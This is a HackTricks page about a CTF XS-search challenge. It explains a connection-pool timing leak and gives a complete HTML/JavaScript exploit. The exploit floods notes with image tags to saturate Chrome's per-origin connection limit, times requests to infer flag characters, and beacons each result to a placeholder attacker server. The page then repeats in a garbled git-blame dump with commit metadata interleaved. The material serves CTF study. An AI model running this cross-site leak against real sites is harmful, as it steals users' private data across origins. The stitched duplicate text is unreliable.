hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example.md

# Connection Pool by Destination Example

<details>

<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>

In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenged mentioned in the following page:

{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}

Let's see how this exploit work:

* The attacker will inject a note with as many **`<img`** tags **loading** **`/js/purify.js`** as possible (more than 6 to block the origin).
* Then, the attacker will **remove** the **note** with index 1.
* Then, the attacker will \[make the **bot access the page** with the reminding note] and will send a **request** to **`victim.com/js/purify.js`** that he will **time**.&#x20;
  * If the time is **bigger**, the **injection** was in the **note** left, if the time is **lower**, the **flag** was in there.

{% hint style="info" %}
Tbh, reading the script I missed some part where the **attacker makes the bot load the page to trigger the img tags**, I don't see anything like that in the code
{% endhint %}

```html
<html>
    <head>
        <script>
            const SITE_URL = 'https://safelist.ctf.sekai.team/';
            const PING_URL = 'https://myserver';
            function timeScript(){
                return new Promise(resolve => {
                    var x = document.createElement('script');
                    x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
                    var start = Date.now();
                    x.onerror = () => {
                        console.log(`Time: ${Date.now() - start}`); //Time request
                        resolve(Date.now() - start);
                        x.remove();
                    }
                    document.body.appendChild(x);
                });
            }

            add_note = async (note) => {
                let x = document.createElement('form')
                x.action = SITE_URL + "create"
                x.method = "POST"
                x.target = "xxx"

                let i = document.createElement("input");
                i.type = "text"
                i.name = "text"
                i.value = note
                x.appendChild(i)
                document.body.appendChild(x)
                x.submit()
            }
            
            remove_note = async (note_id) => {
                let x = document.createElement('form')
                x.action = SITE_URL+"remove"
                x.method = "POST"
                x.target = "_blank"

                let i = document.createElement("input");
                i.type = "text"
                i.name = "index"
                i.value = note_id
                x.appendChild(i)
                document.body.appendChild(x)
                x.submit()
            }
            
            const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
            // }zyxwvutsrqponmlkjihgfedcba_
            const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
            var prefix = 'SEKAI{xsleakyay';
            const TIMEOUT = 500;
            async function checkLetter(letter){
                // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
                // Depending whether we found flag's letter it will either load the images or not.
                // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
                const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
                await add_note(payload);
                await sleep(TIMEOUT);
                await timeScript();
                await remove_note(1); //Now, only the note with the flag or with the injection existsh
                await sleep(TIMEOUT);
                const time = await timeScript(); //Find out how much a request to the same origin takes
                navigator.sendBeacon(PING_URL, [letter,time]);
                if(time>100){
                    return 1;
                }
                return 0;
            }
            window.onload = async () => {
                navigator.sendBeacon(PING_URL, 'start');
                // doesnt work because we are removing flag after success.
                // while(1){
                    for(const letter of alphabet){
                        if(await checkLetter(letter)){
                            prefix += letter;
                            navigator.sendBeacon(PING_URL, prefix);
                            break;
                        }
                    }
                // }
            };            
            </script>            
    </head>
    <body>
    </body>
</html>

```

<details>

<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>
GitBook: [#3601] No subject 2022-10-12 22:10:40 +00:00			`# Connection Pool by Destination Example`

			`<details>`

change 2023-04-05 12:02:54 +00:00			`<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>`
GitBook: [#3601] No subject 2022-10-12 22:10:40 +00:00
			`* Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/carlospolopm).`
hacktricks twitch 2022-12-05 22:29:21 +00:00			`* Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`
GitBook: [#3601] No subject 2022-10-12 22:10:40 +00:00
			`</details>`

			`In [this exploit](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [@terjanq](https://twitter.com/terjanq) proposes yet another solution for the challenged mentioned in the following page:`

			`{% content-ref url="connection-pool-by-destination-example.md" %}`
			`[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)`
			`{% endcontent-ref %}`

			`Let's see how this exploit work:`

			* The attacker will inject a note with as many `<img` tags loading `/js/purify.js` as possible (more than 6 to block the origin).
			`* Then, the attacker will remove the note with index 1.`
			* Then, the attacker will \[make the bot access the page with the reminding note] and will send a request to `victim.com/js/purify.js` that he will time.
			`* If the time is bigger, the injection was in the note left, if the time is lower, the flag was in there.`

			`{% hint style="info" %}`
			`Tbh, reading the script I missed some part where the attacker makes the bot load the page to trigger the img tags, I don't see anything like that in the code`
			`{% endhint %}`

			```html
			`<html>`
			`<head>`
			`<script>`
			`const SITE_URL = 'https://safelist.ctf.sekai.team/';`
			`const PING_URL = 'https://myserver';`
			`function timeScript(){`
			`return new Promise(resolve => {`
			`var x = document.createElement('script');`
			`x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();`
			`var start = Date.now();`
			`x.onerror = () => {`
			console.log(`Time: ${Date.now() - start}`); //Time request
			`resolve(Date.now() - start);`
			`x.remove();`
			`}`
			`document.body.appendChild(x);`
			`});`
			`}`

			`add_note = async (note) => {`
			`let x = document.createElement('form')`
			`x.action = SITE_URL + "create"`
			`x.method = "POST"`
			`x.target = "xxx"`

			`let i = document.createElement("input");`
			`i.type = "text"`
			`i.name = "text"`
			`i.value = note`
			`x.appendChild(i)`
			`document.body.appendChild(x)`
			`x.submit()`
			`}`

			`remove_note = async (note_id) => {`
			`let x = document.createElement('form')`
			`x.action = SITE_URL+"remove"`
			`x.method = "POST"`
			`x.target = "_blank"`

			`let i = document.createElement("input");`
			`i.type = "text"`
			`i.name = "index"`
			`i.value = note_id`
			`x.appendChild(i)`
			`document.body.appendChild(x)`
			`x.submit()`
			`}`

			`const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));`
			`// }zyxwvutsrqponmlkjihgfedcba_`
			`const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'`
			`var prefix = 'SEKAI{xsleakyay';`
			`const TIMEOUT = 500;`
			`async function checkLetter(letter){`
			`// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js`
			`// Depending whether we found flag's letter it will either load the images or not.`
			`// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.`
			const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
			`await add_note(payload);`
			`await sleep(TIMEOUT);`
			`await timeScript();`
			`await remove_note(1); //Now, only the note with the flag or with the injection existsh`
			`await sleep(TIMEOUT);`
			`const time = await timeScript(); //Find out how much a request to the same origin takes`
			`navigator.sendBeacon(PING_URL, [letter,time]);`
			`if(time>100){`
			`return 1;`
			`}`
			`return 0;`
			`}`
			`window.onload = async () => {`
			`navigator.sendBeacon(PING_URL, 'start');`
			`// doesnt work because we are removing flag after success.`
			`// while(1){`
			`for(const letter of alphabet){`
			`if(await checkLetter(letter)){`
			`prefix += letter;`
			`navigator.sendBeacon(PING_URL, prefix);`
			`break;`
			`}`
			`}`
			`// }`
			`};`
			`</script>`
			`</head>`
			`<body>`
			`</body>`
			`</html>`

			```

			`<details>`

change 2023-04-05 12:02:54 +00:00			`<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>`
GitBook: [#3601] No subject 2022-10-12 22:10:40 +00:00
			`* Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/carlospolopm).`
hacktricks twitch 2022-12-05 22:29:21 +00:00			`* Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`
GitBook: [#3601] No subject 2022-10-12 22:10:40 +00:00
			`</details>`